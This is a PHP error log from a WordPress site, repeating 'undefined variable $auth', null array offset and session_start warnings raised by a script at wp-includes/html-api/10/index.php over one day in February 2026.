[14-Feb-2026 08:20:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:28 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:22:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:22:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:52 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:23:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:23:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:23:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:24:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:24:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 21:49:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 21:49:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:42:50 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:45:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:45:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
